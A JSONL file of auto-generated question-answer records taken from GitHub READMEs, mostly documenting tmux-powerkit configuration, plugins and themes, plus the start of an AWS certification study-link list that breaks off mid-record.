{"id": "gh_e87791b75ffa", "question": "How to: Network Speed", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugin_network_interface \"auto\"  # or eth0, wlan0, etc.\nset -g @powerkit_plugin_network_icon_up \"󰕒\"\nset -g @powerkit_plugin_network_icon_down \"󰇚\"\nset -g @powerkit_plugin_network_format \"both\"  # up, down, both\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454292"}
{"id": "gh_bf85558c558a", "question": "How to: DateTime Formats", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Choose from **15 preset formats** or create your own:\n\n```bash\nset -g @powerkit_plugin_datetime_format \"preset_1\"  # %Y-%m-%d %H:%M:%S\nset -g @powerkit_plugin_datetime_format \"preset_7\"  # %I:%M %p\nset -g @powerkit_plugin_datetime_format \"preset_12\" # %a %b %d", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454297"}
{"id": "gh_98e5c39e51f0", "question": "How to: Or custom format", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_plugin_datetime_format \"%Y-%m-%d %A\"\n```\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454301"}
{"id": "gh_f651c19aca33", "question": "How to: 🎮 Keybindings", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit includes powerful interactive helpers with keybindings:\n\n```bash", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454306"}
{"id": "gh_065e3e919f73", "question": "How to: Built-in keybindings (all customizable)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_options_key \"C-e\"          # View all options\nset -g @powerkit_keybindings_key \"C-y\"      # View keybindings\nset -g @powerkit_theme_selector_key \"C-r\"   # Theme selector\nset -g @powerkit_cache_clear_key \"C-d\"      # Clear cache", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454311"}
{"id": "gh_ce51d747e599", "question": "How to: Plugin-specific keybindings", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_plugin_bitwarden_keybinding_unlock \"C-b u\"\nset -g @powerkit_plugin_bitwarden_keybinding_lock \"C-b l\"\nset -g @powerkit_plugin_pomodoro_keybinding_start \"C-p s\"\nset -g @powerkit_plugin_pomodoro_keybinding_pause \"C-p p\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454315"}
{"id": "gh_56113361bb39", "question": "How to: Interactive Helpers", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit includes several interactive helpers:\n\n- **Options Viewer** (`prefix + C-e`) - Browse all configuration options\n- **Keybindings Viewer** (`prefix + C-y`) - View all active keybindings\n- **Theme Selector** (`prefix + C-r`) - Interactively switch themes\n- **Cache Manager** (`prefix + C-d`) - Clear plugin cache\n- **Bitwarden Selector** - Quick password access\n- **Audio Device Selector** - Switch audio outputs\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454321"}
{"id": "gh_fed2e885fb52", "question": "How to: 🏗️ Architecture", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit uses a **contract-based architecture** with strict separation of concerns:\n\n```text\n┌─────────────────────────────────────────────────────────────────┐\n│                         POWERKIT CORE                            │\n│  Lifecycle • Cache • Options • Datastore • Theme Loader         │\n└───────┬──────────────────────┬──────────────────┬───────────────┘\n        │                      │                  │\n        ▼                      ▼                  ▼\n┌──────────────┐      ┌─────────────────┐   ┌─────────────┐\n│   PLUGINS    │      │    RENDERER     │   │   THEMES    │\n├──────────────┤      ├─────────────────┤   ├─────────────┤\n│ • Data       │─────▶│ • Colors        │◀──│ • Color     │\n│ • State      │      │ • Icons         │   │   Palette   │\n│ • Health     │      │ • Separators    │   │             │\n│ • Context    │      │ • Formatting    │   │             │\n└──────────────┘      └─────────────────┘   └─────────────┘\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454330"}
{"id": "gh_03b5c732cc32", "question": "How to: Key Principles", "question_body": "About fabioluciano/tmux-powerkit", "answer": "1. **Plugins** provide data and semantics (state, health, context)\n2. **Renderer** handles all UI decisions (colors, icons, formatting)\n3. **Themes** define color palettes only\n4. **Core** orchestrates the lifecycle and manages caching\n\nThis architecture ensures:\n\n- ✅ Plugins never decide colors or formatting\n- ✅ Themes are purely declarative\n- ✅ Rendering is consistent across all plugins\n- ✅ Easy to extend without breaking existing code\n\n**Learn more:** [Architecture Documentation](https://github.com/fabioluciano/tmux-powerkit/wiki/Architecture)\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454337"}
{"id": "gh_2d70c0bf7325", "question": "How to: Element Order and Centered Layout", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit supports flexible element ordering with automatic centered layout:\n\n```bash", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454344"}
{"id": "gh_4685a57e630c", "question": "How to: 2-element orders (auto-expanded with windows):", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_status_order \"session,plugins\"  # Standard: session+windows LEFT, plugins RIGHT\nset -g @powerkit_status_order \"plugins,session\"  # Inverted: plugins LEFT, windows+session RIGHT", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454349"}
{"id": "gh_ff7d26d9fdd6", "question": "How to: 3-element orders enable CENTERED layout:", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_status_order \"session,windows,plugins\"  # session LEFT, windows CENTER, plugins RIGHT\nset -g @powerkit_status_order \"plugins,windows,session\"  # plugins LEFT, windows CENTER, session RIGHT\nset -g @powerkit_status_order \"session,plugins,windows\"  # session LEFT, plugins CENTER, windows RIGHT\n```\n\nAny element in the middle position will be automatically centered in the status bar.", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454354"}
{"id": "gh_093299e83e84", "question": "How to: Lazy Loading (SWR Caching)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit uses Stale-While-Revalidate caching for optimal performance:\n\n```bash", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454358"}
{"id": "gh_ef6e4b198482", "question": "How to: Example: TTL=300s, multiplier=3 → data up to 900s old can be returned while refreshing", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_stale_multiplier \"3\"\n```\n\n**How it works:**\n\n- Fresh data (within TTL): Returns cached data immediately\n- Stale data (within TTL × multiplier): Returns stale data immediately, refreshes in background\n- Too old data (beyond TTL × multiplier): Blocks and refreshes synchronously\n\nThis ensures your status bar never hangs waiting for slow API calls or network requests.\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454365"}
{"id": "gh_5e4358210ffd", "question": "How to: 🔧 Creating Your Own Plugin", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit makes it easy to create custom plugins. Here's a minimal example:\n\n```bash\n#!/usr/bin/env bash\nPOWERKIT_ROOT=\"${POWERKIT_ROOT:-$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" && pwd)}\"\n. \"${POWERKIT_ROOT}/src/contract/plugin_contract.sh\"\n\nplugin_get_metadata() {\n    metadata_set \"id\" \"my_plugin\"\n    metadata_set \"name\" \"My Plugin\"\n    metadata_set \"description\" \"What this plugin does\"\n}\n\nplugin_declare_options() {\n    declare_option \"icon\" \"icon\" \"󰀀\" \"Plugin icon\"\n    declare_option \"cache_ttl\" \"number\" \"60\" \"Cache duration\"\n}\n\nplugin_collect() {\n    # Collect your data\n    local value=\"42\"\n    plugin_data_set \"value\" \"$value\"\n}\n\nplugin_get_content_type() { printf 'dynamic'; }\nplugin_get_presence() { printf 'always'; }\nplugin_get_state() { printf 'active'; }\nplugin_get_health() { printf 'ok'; }\n\nplugin_render() {\n    local value=$(plugin_data_get \"value\")\n    printf '%s' \"$value\"\n}\n\nplugin_get_icon() {\n    printf '%s' \"$(get_option 'icon')\"\n}\n```\n\n**Learn more:** [Developing Plugins](https://github.com/fabioluciano/tmux-powerkit/wiki/DevelopingPlugins)\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454380"}
{"id": "gh_0ef80af42e7b", "question": "How to: 🎨 Creating Your Own Theme", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Themes are simple color definitions:\n\n```bash\n#!/usr/bin/env bash\ndeclare -A THEME_COLORS=(\n    # Status bar\n    [statusbar-bg]=\"#1a1b26\"\n    [statusbar-fg]=\"#c0caf5\"\n\n    # Session\n    [session-bg]=\"#7aa2f7\"\n    [session-fg]=\"#1a1b26\"\n\n    # Windows (variants auto-generated)\n    [window-active-base]=\"#7aa2f7\"\n    [window-inactive-base]=\"#3b4261\"\n\n    # Health states (variants auto-generated)\n    [ok-base]=\"#9ece6a\"\n    [info-base]=\"#7dcfff\"\n    [warning-base]=\"#e0af68\"\n    [error-base]=\"#f7768e\"\n)\n```\n\nThe system automatically generates **6 color variants** (light/lighter/lightest/dark/darker/darkest) for each base color!\n\n**Learn more:** [Developing Themes](https://github.com/fabioluciano/tmux-powerkit/wiki/DevelopingThemes)\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454388"}
{"id": "gh_63b3c701eb20", "question": "How to: 📚 Complete Documentation", "question_body": "About fabioluciano/tmux-powerkit", "answer": "| Resource | Description |\n|----------|-------------|\n| [**Installation Guide**](https://github.com/fabioluciano/tmux-powerkit/wiki/Installation) | Detailed setup instructions |\n| [**Quick Start**](https://github.com/fabioluciano/tmux-powerkit/wiki/Quick-Start) | Get started in 5 minutes |\n| [**Configuration Reference**](https://github.com/fabioluciano/tmux-powerkit/wiki/Configuration) | All configuration options explained |\n| [**Plugin Documentation**](https://github.com/fabioluciano/tmux-powerkit/wiki/Home#plugins-42-available) | Detailed docs for all 42 plugins |\n| [**Theme Gallery**](https://github.com/fabioluciano/tmux-powerkit/wiki/Themes) | Preview all themes and variants |\n| [**Developing Plugins**](https://github.com/fabioluciano/tmux-powerkit/wiki/DevelopingPlugins) | Create your own plugins |\n| [**Developing Themes**](https://github.com/fabioluciano/tmux-powerkit/wiki/DevelopingThemes) | Create custom themes |\n| [**Architecture**](https://github.com/fabioluciano/tmux-powerkit/wiki/Architecture) | Understanding the contract system |\n| [**API Reference**](https://github.com/fabioluciano/tmux-powerkit/wiki/API-Reference) | Core APIs and utilities |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454396"}
{"id": "gh_df0c7000dcb7", "question": "How to: 📋 Complete Options Reference", "question_body": "About fabioluciano/tmux-powerkit", "answer": "A fully documented configuration file with **all available options** is maintained at:\n\n```text\nwiki/assets/powerkit-options.conf\n```\n\n**[📥 Download powerkit-options.conf](https://raw.githubusercontent.com/wiki/fabioluciano/tmux-powerkit/assets/powerkit-options.conf)**\n\nUse this file as a reference or copy the options you need to your `~/.tmux.conf`. Every option includes descriptions, valid values, and defaults.\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454402"}
{"id": "gh_a97db7f9542a", "question": "How to: 🚦 Requirements", "question_body": "About fabioluciano/tmux-powerkit", "answer": "- **tmux** 3.0 or higher\n- **Bash** 5.0 or higher (5.1+ recommended for optimal performance)\n- **TPM** (Tmux Plugin Manager)\n- **Nerd Font** (recommended for icons)\n\n> **Note for macOS users:** macOS ships with Bash 3.x. Install a modern version with `brew install bash`.", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454408"}
{"id": "gh_b90252998a58", "question": "How to: Bash Version Features Used", "question_body": "About fabioluciano/tmux-powerkit", "answer": "| Version | Features Used |\n|---------|--------------|\n| 5.0+ | `$EPOCHSECONDS`, `$EPOCHREALTIME`, `${var,,}`, `${var^^}` |\n| 5.1+ | `assoc_expand_once` (performance optimization) |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454413"}
{"id": "gh_f8d6d4a9ecb4", "question": "How to: Platform Support", "question_body": "About fabioluciano/tmux-powerkit", "answer": "- ✅ **macOS** (Intel & Apple Silicon)\n- ✅ **Linux** (Ubuntu, Debian, Fedora, Arch, and more)\n- ✅ **FreeBSD** (limited testing)\n- ✅ **WSL** (Windows Subsystem for Linux)\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454418"}
{"id": "gh_60c7c6fbc91b", "question": "How to: Minimal Setup", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugins \"datetime,hostname\"\nset -g @powerkit_theme \"tokyo-night\"\nset -g @powerkit_separator_style \"rounded\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454423"}
{"id": "gh_2be1dfde2ca7", "question": "How to: Developer Setup", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugins \"git,github,kubernetes,terraform,cpu,memory,datetime\"\nset -g @powerkit_theme \"dracula\"\nset -g @powerkit_plugin_git_show_files \"true\"\nset -g @powerkit_plugin_kubernetes_show_namespace \"true\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454427"}
{"id": "gh_3a38aaefe311", "question": "How to: System Monitor Setup", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugins \"cpu,memory,disk,loadavg,temperature,fan,network,datetime\"\nset -g @powerkit_theme \"gruvbox\"\nset -g @powerkit_theme_variant \"dark\"\nset -g @powerkit_plugin_cpu_show_cores \"true\"\nset -g @powerkit_plugin_network_format \"both\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454432"}
{"id": "gh_f3589913c676", "question": "How to: Productivity Setup", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugins \"pomodoro,datetime,timezones,bitwarden,git,battery\"\nset -g @powerkit_theme \"catppuccin\"\nset -g @powerkit_theme_variant \"mocha\"\nset -g @powerkit_plugin_timezones_zones \"UTC,America/New_York,Europe/London\"\n```\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454437"}
{"id": "gh_84240f0ae697", "question": "How to: 🤝 Contributing", "question_body": "About fabioluciano/tmux-powerkit", "answer": "We welcome contributions! Here's how you can help:", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454441"}
{"id": "gh_0dfef95df142", "question": "How to: Ways to Contribute", "question_body": "About fabioluciano/tmux-powerkit", "answer": "- 🐛 **Report bugs** - Open an issue with details\n- 💡 **Suggest features** - Share your ideas\n- 📝 **Improve documentation** - Fix typos, add examples\n- 🔌 **Create plugins** - Share your custom plugins\n- 🎨 **Design themes** - Create beautiful color schemes\n- 💻 **Submit PRs** - Fix bugs or add features", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454448"}
{"id": "gh_19d915ed00fa", "question": "How to: Development Workflow", "question_body": "About fabioluciano/tmux-powerkit", "answer": "1. **Fork** the repository\n2. **Create** a feature branch (`git checkout -b feature/amazing-feature`)\n3. **Commit** your changes (`git commit -m 'Add amazing feature'`)\n4. **Push** to the branch (`git push origin feature/amazing-feature`)\n5. **Open** a Pull Request", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454453"}
{"id": "gh_3c23359ddff2", "question": "How to: Test specific plugin", "question_body": "About fabioluciano/tmux-powerkit", "answer": "POWERKIT_ROOT=\"$(pwd)\" ./bin/powerkit-plugin battery\n```\n\n**See:** [Development Guide](https://github.com/fabioluciano/tmux-powerkit/wiki/DevelopingPlugins)\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454459"}
{"id": "gh_7e6ed1588dca", "question": "How to: 🏆 Credits & Acknowledgments", "question_body": "About fabioluciano/tmux-powerkit", "answer": "PowerKit is built on the shoulders of giants:\n\n- **[Powerline](https://github.com/powerline/powerline)** - Original inspiration\n- **[tmux](https://github.com/tmux/tmux)** - The best terminal multiplexer\n- **[TPM](https://github.com/tmux-plugins/tpm)** - Tmux Plugin Manager\n- All theme creators for their beautiful color schemes\n- The tmux community for continuous feedback and support\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454465"}
{"id": "gh_5c25c3ede437", "question": "How to: 📬 Support & Community", "question_body": "About fabioluciano/tmux-powerkit", "answer": "- 🐛 **Bug Reports:** [GitHub Issues](https://github.com/fabioluciano/tmux-powerkit/issues)\n- 📖 **Documentation:** [Wiki](https://github.com/fabioluciano/tmux-powerkit/wiki)\n- ⭐ **Show Support:** Star this repository!\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454472"}
{"id": "gh_64a9ff80885f", "question": "How to: Made with ❤️ by [@fabioluciano](https://github.com/fabioluciano)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "If PowerKit improves your tmux experience, please consider starring the repo! ⭐\n\n[⬆ Back to Top](#-powerkit)", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454478"}
{"id": "gh_4de3d0cd567e", "question": "How to: Dicas de estudo para as certificações", "question_body": "About brunokktro/auladobruno", "answer": "- [X] Escolha sua [carreira de certificações](https://aws.amazon.com/certification/) e organize o seu [roteiro de aprendizado](https://aws.amazon.com/training/learning-paths/)\n- [X] Revise o arquivo [_Exam Guide_](https://aws.amazon.com/certification/certification-prep/) do respectivo exame de certificação\n- [X] Defina uma estratégia eficiente de estudos. Há algumas técnicas bem interessantes como o [_Retrieval_](https://aws.amazon.com/blogs/training-and-certification/using-retrieval-practice-techniques-to-improve-learning/), [_Spaced_](https://aws.amazon.com/blogs/training-and-certification/use-spaced-practice-to-increase-learning-retention/) e o [_Elaboration_](https://aws.amazon.com/blogs/training-and-certification/cognitive-science-post-3-using-elaboration-to-reinforce-your-understanding-of-concepts/)\n- [X] Faça um treinamento oficial, presencial ou remoto, ministrado pela AWS. Veja mais em [aws.training](https://www.aws.training/)\n- [X] Caso vá fazer o treinamento oficial, já prepare seu ambiente para materiais e labs no [Class Prep](https://classprep.awstc.com/)\n- [X] Organize um roteiro sequencial de estudos, usando os [_Ramp-Up Guides_](https://aws.amazon.com/training/ramp-up-guides/)\n- [X] Faça laboratórios e ganhe experiência prática, com os [Tutoriais de Hands-On](https://aws.amazon.com/getting-started/hands-on/)\n- [X] Revise o arquivo de **_Sample Questions_** do respectivo exame de certificação\n- [X] Revise os _whitepapers_ e **FAQs** dos serviços que estão no escopo do exame de certificação\n- [X] Assista os vídeos da série [_\"This is My Architecture\"_](https://aws.amazon.com/this-is-my-architecture/), com exemplos de casos reais dos clientes AWS\n- [X] Faça um treinamento oficial da AWS com foco na preparação do exame; através dos cursos **_Exam Readiness_**\n- [X] Acompanhe [nossos eventos e webinars da comunidade AWS em LATAM](https://aws.amazon.com/pt/training/events), pois sempre há conteúdo de referência para ajudar nos estudos\n- [X] Faça um [**_Practice Exam_**](https://explore.skillbuilder.aws/learn/course/internal/view/elearning/9153/aws-certification-official-practice-question-sets-english) oficial (simulado)\n- [X] Agende seu [exame de certificação](https://www.aws.training/Certification) na **Person Vue**, e depois teste como é a dinâmica do exame em [AWS Exam Demo](https://www.pearsonvue.com/us/en/redirects/aws/demo-test-enu.html)\n- [X] Adicione [30 minutos a mais](https://www.linkedin.com/pulse/30-minute-extension-your-aws-certification-exam-garcia-lozano/) em seu exame com o **_ESL +30 MINUTES_** (disponível para não-nativos de língua inglesa) \n- [X] Seja um certificado AWS!\n- [X] Aproveite os [benefícios](https://aws.amazon.com/certification/benefits/) concedidos só a quem tem certificações AWS\n\n---\n\n| Table of Content | \n| ------------- |\n| [Architecting on AWS](https://github.com/brunokktro/auladobruno#architecting-on-aws) | \n| [Advanced Architecting on AWS](https://github.com/brunokktro/auladobruno#advanced-architecting-on-aws)     |\n| [Migrating to AWS](https://github.com/brunokktro/auladobruno#migrating-to-aws)     |\n| [Cloud Financial Management for Builders](https://github.com/brunokktro/auladobruno#cloud-financial-management-for-builders)     |\n| [Planning and Designing Databases on AWS](https://github.com/brunokktro/auladobruno#planning-and-designing-databases-on-aws)     |\n| [Systems Operations on AWS](https://github.com/brunokktro/auladobruno#systems-operations-on-aws)    | \n| [DevOps Engineering on AWS](https://github.com/brunokktro/auladobruno#devops-engineering-on-aws)    |\n| [Security Engineering on AWS](https://github.com/brunokktro/auladobruno#security-engineering-on-aws)    |\n| [Running Containers on Amazon Elastic Kubernetes Service](https://github.com/brunokktro/auladobruno#running-containers-on-amazon-elastic-kubernetes-service)     |\n| [Arquiteturas de Referência & Tools](https://github.com/brunokktro/auladobruno#arquiteturas-de-refer%C3%AAncia--tools)    |\n| [Workshops & Laboratórios](https://github.com/brunokktro/auladobruno#workshops--laborat%C3%B3rios)    |\n\n---", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 323, "answer_score": 10, "has_code": true, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647420"}
{"id": "gh_de07bf50f68b", "question": "How to: Architecting on AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [AWS Cloud Services (Catalog)](https://aws.amazon.com/products/?pg=WIAWS-mstf)\n* [AWS Global Cloud Infrastructure Map](https://infrastructure.aws/)\n* [AWS Global Infrastructure Regions](https://aws.amazon.com/about-aws/global-infrastructure/)\n* [Learn how we secure AWS data centers](https://aws.amazon.com/compliance/data-center/)\n* [Compute Abstractions on AWS: A Visual Story](https://aws.amazon.com/blogs/architecture/compute-abstractions-on-aws-a-visual-story/)\n* [AWS Well-Architected - Learn, measure, and build using architectural best practices](https://aws.amazon.com/architecture/well-architected/)\n* [AWS Well-Architected Framework](https://wa.aws.amazon.com/index.html)\n* [Financial Services Industry Lens - AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/financial-services-industry-lens/welcome.html)\n* [AWS Well-Architected Tool – Review Workloads Against Best Practices](https://aws.amazon.com/blogs/aws/new-aws-well-architected-tool-review-workloads-against-best-practices/)\n* [AWS Well-Architected Tool – DEMO](https://d3nn3d4w2aqyem.cloudfront.net/mp4/Getting_started_video.mp4)\n* [Nine Ways to Reduce Your AWS Bill](https://pages.awscloud.com/Nine-Ways-to-Reduce-Your-AWS-Bill_2020_0008-CMP_OD.html)\n* [Desmistificando as 9 formas de reduzir custos na AWS](https://youtu.be/znw6iCWDpIQ)\n* [Conhecendo um pouco mais sobre o Graviton2](https://aws.amazon.com/pt/blogs/aws-brasil/conhecendo-um-pouco-mais-sobre-o-graviton2/)\n* [Amazon S3 + Amazon CloudFront: A Match Made in the Cloud](https://aws.amazon.com/blogs/networking-and-content-delivery/amazon-s3-amazon-cloudfront-a-match-made-in-the-cloud/)\n* [How to set up a CloudFront distribution for Amazon S3](https://aws.amazon.com/cloudfront/getting-started/S3/)\n* [Overview of Managing Access on S3](https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-overview.html#so-which-one-should-i-use)\n* [Diving Deep on S3 Consistency](https://www.allthingsdistributed.com/2021/04/s3-strong-consistency.html)\n* [Amazon S3 Path Deprecation Plan – The Rest of the Story](https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/)\n* [Amazon EC2 Instance Types](https://aws.amazon.com/ec2/instance-types/)\n* [Spot Instance Advisor](https://aws.amazon.com/ec2/spot/instance-advisor/)\n* [Running high-scale web applications on Amazon EC2 Spot Instances](https://aws.amazon.com/blogs/compute/running-high-scale-web-on-spot-instances/)\n* [Amazon EC2 Auto Scaling Lifecycle Hooks](https://docs.aws.amazon.com/autoscaling/ec2/userguide/lifecycle-hooks.html)\n* [Elastic Load Balancing and Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/autoscaling-load-balancer.html)\n* [Amazon EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html)\n* [Recovering files from an Amazon EBS volume 